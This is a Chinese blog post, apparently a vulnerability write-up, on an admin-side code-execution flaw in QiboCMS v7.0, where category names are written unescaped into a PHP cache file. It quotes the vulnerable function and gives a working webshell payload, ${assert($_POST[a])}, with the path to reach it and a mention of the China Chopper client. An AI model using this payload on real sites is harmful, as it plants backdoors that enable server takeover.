齐博cmsv7.0后台getshell
0x01 漏洞分析
此漏洞比较鸡肋,需要后台权限。漏洞原理很简单,这里就简单分析一下。
漏洞出现在:inc/class.inc.php中的GuideFidCache函数里
/*导航条缓存*/
function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
global $db,$webdb,$pre;
if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
return ;
}
$show="<?php \r\n";
//$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
$showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
$query=$db->query("SELECT fid,name FROM $table ");
// 带双引号写入变量,并且未过滤。
while( @extract($db->fetch_array($query)) ){
$show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
}
$show.=$shows.'?>';
if($TruePath==1){
write_file($filename,$show);
}else{
write_file(ROOT_PATH."data/$filename",$show);
}
}
这个函数主要是将导航条信息写入缓存文件guide_fid.php文件中,但是写入变量使用双引号,因此可以直接构造变量远程执行代码,比如${phpinfo()}。
写入文件成功后,就可以直接访问该文件即可。
0x02 漏洞利用
漏洞利用更为简单,登陆后台增加栏目为${assert($_POST[a])},后门直接写入/data/guide_fid.php文件中,菜刀连之即可。
温馨提示:本文最后更新于2018年11月8日 15:44,若内容或图片失效,请在下方留言或联系博主。